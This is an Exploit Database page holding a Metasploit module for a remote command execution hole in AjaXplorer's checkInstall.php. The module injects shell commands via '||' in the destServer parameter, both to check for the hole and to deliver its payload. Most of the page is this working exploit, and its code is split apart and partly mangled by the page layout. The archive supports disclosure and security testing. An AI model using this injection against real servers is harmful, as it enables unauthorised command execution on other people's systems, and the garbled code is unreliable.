



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

AjaXplorer - 'checkInstall.php' Remote Command Execution (Metasploit)

EDB-ID:

21993

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[REMOTE](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2012-10-16

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'AjaXplorer checkInstall.php Remote Command
Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution
        vulnerability in the
        AjaXplorer 'checkInstall.php' script. All versions of
        AjaXplorer prior to
        2.6 are vulnerable.
      },
      'Author' =>
        [
          'Julien Cayssol', #Credited according to SecurityFocus
          'David Maciejak', #Metasploit module
          'sinn3r' #Final touch on the Metasploit
module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'OSVDB', '63552' ],
          [ 'BID', '39334' ]
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'DisableNops' => true,
          'Space' => 512,
          'Compat' =>
            {
              'ConnectionType' => 'find',
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby python bash
telnet'
            }
        },
      'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
      'Arch' => ARCH_CMD,
      'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
      'DisclosureDate' => 'Apr 4 2010',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to
AjaXplorer', '/AjaXplorer-2.5.5/'])
      ], self.class)
  end

  def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)
  end
end
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

    res = send_request_cgi({
      'method' => 'GET',
      'uri'     => "#
{target_uri.path}plugins/access.ssh/checkInstall.php",
      'vars_get' => {
        'destServer' => "||echo #{clue}"
      }
    })

    # If the server doesn't return the default redirection, probably
    something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    target_uri.path << '/' if target_uri.path[-1,1] != '/'

    # Trigger the command execution bug
    res = send_request_cgi({
      'method' => 'GET',
      'uri'     => "#
{target_uri.path}plugins/access.ssh/checkInstall.php",
      'vars_get' =>
        {
          'destServer' => "||#{payload.encoded}"
        }
    })

    if res
      print_status("#{peer} - The server returned: #{res.code} #
{res.message}")
      m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0]
      || ''

      if m.empty?
        print_error("#{peer} - This server may not be vulnerable")
      else
        print_status("#{peer} - Command output from the server:")
        print_line(m)
      end
    end
  end
end

end

=end
Repo:
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
=end

```

Tags: [Metasploit Framework](#)
([MSF](#)).

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.